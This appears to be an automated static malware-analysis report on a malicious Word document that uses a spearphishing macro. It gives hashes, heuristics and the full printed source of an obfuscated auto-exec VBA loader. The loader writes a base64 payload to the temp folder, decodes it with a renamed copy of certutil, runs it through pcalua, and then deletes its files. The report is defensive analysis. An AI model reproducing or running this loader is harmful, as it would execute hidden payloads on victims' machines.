Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 206727d8e75f4b02…

MALICIOUS

Office (OOXML)

198.5 KB Created: 2021-07-02 03:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: b16493db87be961e1ea1605d11e11807 SHA-1: af5aece54101b5975b3f6182856e206fc8ed31a9 SHA-256: 206727d8e75f4b023388d00856fe78b94ba67710b24359a6f7c1344b6500441e
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This OOXML document contains a malicious VBA macro, specifically an obfuscated auto-exec loader with a Workbook_Open trigger. The macro utilizes the Shell() function, indicating an intent to download and execute a second-stage payload. The presence of VBA macros and the use of Shell() are strong indicators of malicious activity, likely delivered as a spearphishing attachment.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Function HhlbesJwagyLvAUIuERk(wgHFJlWzZmRqIoubcCKpAiLhTP)
        shell (wgHFJlWzZmRqIoubcCKpAiLhTP)
    End Function
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Function HhlbesJwagyLvAUIuERk(wgHFJlWzZmRqIoubcCKpAiLhTP)
        shell (wgHFJlWzZmRqIoubcCKpAiLhTP)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Function
    Sub Workbook_Open()
        SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7448 bytes
SHA-256: a94088a5c31e9c600e792193607713d113498c454addf339b39b38c3c551fa36
Detection
ClamAV: No threats found
Obfuscation or payload: likely
75 of 97 identifiers look randomly generated (e.g. 'cm06W35KbX5Qf140V35rK0RPbF5rbWRQIHhDOn9Q'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Sub SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT()
    Dim SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT
    SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT = Replace("RniyBeMSpXVwqfLcTRsWvuCJPoHZUbzEDAtkaun", "niyBeMSpXVwqfLcTRsWvuCJPoHZUbzEDAtka", "")
    Dim rgqipGlhBATPfVMWkwXNuSjvFDZtxyasUnQe
    rgqipGlhBATPfVMWkwXNuSjvFDZtxyasUnQe = Replace("DeNSELAWlGUuZrCHXdoMaRPiTjcJtIM_string", "eNSELAWlGUuZrCHXdoMaRPiTjcJt", "")
    Dim ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM
    ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM = Replace("%tzZvYtDCoeXIfNThWdmiaemp%", "zZvYtDCoeXIfNThWdmia", "")
    Dim eRXlhCDzUyjVrScFfmquTMHGktxBPvsbQgIo
    eRXlhCDzUyjVrScFfmquTMHGktxBPvsbQgIo = Replace("cetiOhrXcyFbPKaMCopzGEkjvfqVuRIrtPath", "tiOhrXcyFbPKaMCopzGEkjvfqVuRI", "")
    Dim CnTAIZRFMbmxscikOKfgEdhyXrjBPNQYJL
    CnTAIZRFMbmxscikOKfgEdhyXrjBPNQYJL = Replace("eeVbncFIoAfsWMtrpTHvlYLQOkGuziZPgSXKqxjJxe", "eVbncFIoAfsWMtrpTHvlYLQOkGuziZPgSXKqxjJ", "")
    Dim vFGyowrNflzdHIOjWYJtnQmikBcsATDXab
    vFGyowrNflzdHIOjWYJtnQmikBcsATDXab = Replace("cIQHhkoGXaWqPKLxBgUNnOzopy", "IQHhkoGXaWqPKLxBgUNnOz", "")
    Dim HzBxynFRdmogGXqbMNEeiAPwvuOQspCDrtUITlLkYZKfJjVhS
    HzBxynFRdmogGXqbMNEeiAPwvuOQspCDrtUITlLkYZKfJjVhS = Replace("aCfoGXmAOxYustZPTWNKDywJQcdSUpnBjglua", "CfoGXmAOxYustZPTWNKDywJQcdSUpnBjg", "")
    Dim vRDUMJnFIGmrKubizZYkCdOsXxpecWqNB
    vRDUMJnFIGmrKubizZYkCdOsXxpecWqNB = Replace("WjGNOdRzUbTxQWLvocstJCnDFhkBapAVmrPind", "jGNOdRzUbTxQWLvocstJCnDFhkBapAVmrP", "")
    Dim wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf
    wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf = Replace("tDdrkFaVyMWSYuZjNexHPoJGARLChnpEcxtFile", "DdrkFaVyMWSYuZjNexHPoJGARLChnpEc", "")
    Dim RuxnLVtyCiFQjpoZTremOGHlBAfaqNhSbdzEXg
    RuxnLVtyCiFQjpoZTremOGHlBAfaqNhSbdzEXg = Replace("tpRLVeagxNwlQdrJWYncAGvUDxt", "pRLVeagxNwlQdrJWYncAGvUD", "")
    Dim nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ
    nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ = Replace("vbsqDsPxIlatTCYBwpXjOMGmEWkHdVinhSbNFile", "qDsPxIlatTCYBwpXjOMGmEWkHdVinhSbN", "")
    Dim YeokBIsMxcJXWKqmnFfNaOSCituvbjHZGVdhQgPUEzALlwRDry
    YeokBIsMxcJXWKqmnFfNaOSCituvbjHZGVdhQgPUEzALlwRDry = Replace("vznEfgHxRtBYaPleUSvjDICZwVJuTNdihMAbe", "znEfgHxRtBYaPleUSvjDICZwVJuTNdihMA", "")
    Dim wEkFKutZcNOxLafvVzgDrySpTqjJCUHARmBe
    wEkFKutZcNOxLafvVzgDrySpTqjJCUHARmBe = Replace("vblKZNtRVuiwUvmjnFXAcPkOrCdpfosB64string", "lKZNtRVuiwUvmjnFXAcPkOrCdpfo", "")
    Dim TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU
    TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU = Replace("cJrEVOCukvmQaxtbhjRUKqLBTzYZgWNAIlcHmd", "JrEVOCukvmQaxtbhjRUKqLBTzYZgWNAIlcH", "")
    Dim jAEzosPBSDQrOgGdxkiMXtmZwlphfqbevCuaYUR
    jAEzosPBSDQrOgGdxkiMXtmZwlphfqbevCuaYUR = Replace("ecKZQPqfrzsnNjyhwEXoGAVxaYUbmcJkho", "KZQPqfrzsnNjyhwEXoGAVxaYUbmcJk", "")
    Dim bVManEeGmfsAlHTFrwZRNjWScDXJoKyiYOxvhqIQPdzLBkuUp
    bVManEeGmfsAlHTFrwZRNjWScDXJoKyiYOxvhqIQPdzLBkuUp = Replace("-decoCxBEcMHKlfYAyRZawuzPLde", "CxBEcMHKlfYAyRZawuzPL", "")
    Dim qunCmXOERLowtNZiIYGaDxvJeSTVBpAFdHPUQk
    qunCmXOERLowtNZiIYGaDxvJeSTVBpAFdHPUQk = Replace("commaCuyBOkNlFTmwKPzgeQXrAnxJsDSUcpdnd1", "CuyBOkNlFTmwKPzgeQXrAnxJsDSUcpd", "")
    Dim HiXuSZsRJQClpVYnaTLfkbDcrxtEwhqW
    HiXuSZsRJQClpVYnaTLfkbDcrxtEwhqW = Replace("compirNYTMDxhaXqdnsGmklRHfvezUjyBSVZubCWIPtmand2", "pirNYTMDxhaXqdnsGmklRHfvezUjyBSVZubCWIPt", "")
    Dim SAOQxhZuJPMTplEdesgBCwfzLNVvjYbFiKRWUorkmqHIGDynt
    SAOQxhZuJPMTplEdesgBCwfzLNVvjYbFiKRWUorkmqHIGDynt = Replace("comyXpUkEdGIzTfcxLgsiVFMQZeowRYOKPmand3", "yXpUkEdGIzTfcxLgsiVFMQZeowRYOKP", "")
    Dim lpBXhRwtaAfNuzvrTMKSOJWLyPsHQCYx
    lpBXhRwtaAfNuzvrTMKSOJWLyPsHQCYx = Replace("dUYoxWQjFzTyOkwMpqAfdNDeVvJtBgbaKel", "UYoxWQjFzTyOkwMpqAfdNDeVvJtBgbaK", "")
    Dim LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE
    LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE = Replace("GfgXqxbKVsCRHmGkJBhoteSPiOcvaYjTiyOQAEtkVKUCwj", "xbKVsCRHmGkJBhoteSPiOcvaYj", "")

    wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf = ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM & "\" & LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE & "." & RuxnLVtyCiFQjpoZTremOGHlBAfaqNhSbdzEXg
    nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ = ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM & "\" & LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE & "." & YeokBIsMxcJXWKqmnFfNaOSCituvbjHZGVdhQgPUEzALlwRDry
    panfu = Chr(57 + 10) & Chr(5 * 2 + 1 + 47) & Chr(1050 - 958)
    eRXlhCDzUyjVrScFfmquTMHGktxBPvsbQgIo = panfu & vRDUMJnFIGmrKubizZYkCdOsXxpecWqNB & "ows\Syst" & "em32\cer" & "tutil." & CnTAIZRFMbmxscikOKfgEdhyXrjBPNQYJL
    tempcert = panfu & vRDUMJnFIGmrKubizZYkCdOsXxpecWqNB & "ows\te" & "mp\pc" & HzBxynFRdmogGXqbMNEeiAPwvuOQspCDrtUITlLkYZKfJjVhS & "." & CnTAIZRFMbmxscikOKfgEdhyXrjBPNQYJL
    wEkFKutZcNOxLafvVzgDrySpTqjJCUHARmBe = "I0B+XlFRRUFBQT09QCNAJmYodFBLNExVdH9zVixQQCNAJmsrT35LNExVNCteVlB7fkEvMURid09SXi5/bE8rfThMf21PY3JoL14uYndPUms0f1ZzciMsQCNAJmBJZH4nLEo0WUR3bCZKJixjcSFSUiorIHFGUilSISZsRUAjQCZtRzpzQ3g5UHh+cm06W35KbX5Qf140V35rK0RPbF5rbWRQIHhDOn9QNDQ0UE83Q1YhK1AmM3BpNHQ0YEgrQVJ9NCUrMU9QckpIbjpSf244Oz1zayNuCVlFciNjSkpHV1NVPV49R2w5P08uI2t4VEVKdkJKLCd+aiJTLFt+SnZiLHV+XWFkOktOO3N/d2xPND1VK2NCcVpdfiBQckAjQCZiSX9PRU14ficsVzglVXQrXnNSIkV4dl5HOnNsCU5TUFRTLEtdakFiUCxAI0AmQ2wwQUFBPT1eI35AAA=="
    qunCmXOERLowtNZiIYGaDxvJeSTVBpAFdHPUQk = TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU & " /c " & jAEzosPBSDQrOgGdxkiMXtmZwlphfqbevCuaYUR & " " & wEkFKutZcNOxLafvVzgDrySpTqjJCUHARmBe & " > " & wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf
    HiXuSZsRJQClpVYnaTLfkbDcrxtEwhqW = TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU & " /c  " & vFGyowrNflzdHIOjWYJtnQmikBcsATDXab & " " & eRXlhCDzUyjVrScFfmquTMHGktxBPvsbQgIo & " " & tempcert & " " & Chr(38) & Chr(38) & " " & tempcert & " " & bVManEeGmfsAlHTFrwZRNjWScDXJoKyiYOxvhqIQPdzLBkuUp & " " & wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf & " " & nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ
    SAOQxhZuJPMTplEdesgBCwfzLNVvjYbFiKRWUorkmqHIGDynt = TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU & " /c pcal" & "ua -a " & nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ
    MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw (qunCmXOERLowtNZiIYGaDxvJeSTVBpAFdHPUQk)
    MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw (HiXuSZsRJQClpVYnaTLfkbDcrxtEwhqW)
    Sleep (2000)
    MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw (SAOQxhZuJPMTplEdesgBCwfzLNVvjYbFiKRWUorkmqHIGDynt)
    Sleep (2000)
    MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw (TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU & " /c " & lpBXhRwtaAfNuzvrTMKSOJWLyPsHQCYx & " /f /s " & ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM & "\" & LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE & ".*")
End Sub
Function HhlbesJwagyLvAUIuERk(wgHFJlWzZmRqIoubcCKpAiLhTP)
    shell (wgHFJlWzZmRqIoubcCKpAiLhTP)
End Function
Function MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw(GQtvrRbAeWVzLJCsmYISXFNUZqBfnyx)
    shell (GQtvrRbAeWVzLJCsmYISXFNUZqBfnyx)
End Function
Function OVvjQhrKztbTIpXsYyDGnMlJaBmwxS(JOFqmaXiWCHvQRjMVweDLSsEkrUdKPIoBhfgGl)
    shell (JOFqmaXiWCHvQRjMVweDLSsEkrUdKPIoBhfgGl)
End Function
Sub Workbook_Open()
    SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT
End Sub


Attribute VB_Name = "NewMacros"
Sub shell()
'
' shell ��
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: 4e7f50a91d3b5de263df72f6fe31d4782593d412f01bdc020b08b82509877b0e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
330 of 493 identifiers look randomly generated (e.g. 'cm06W35KbX5Qf140V35rK0RPbF5rbWRQIHhDOn9Q') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).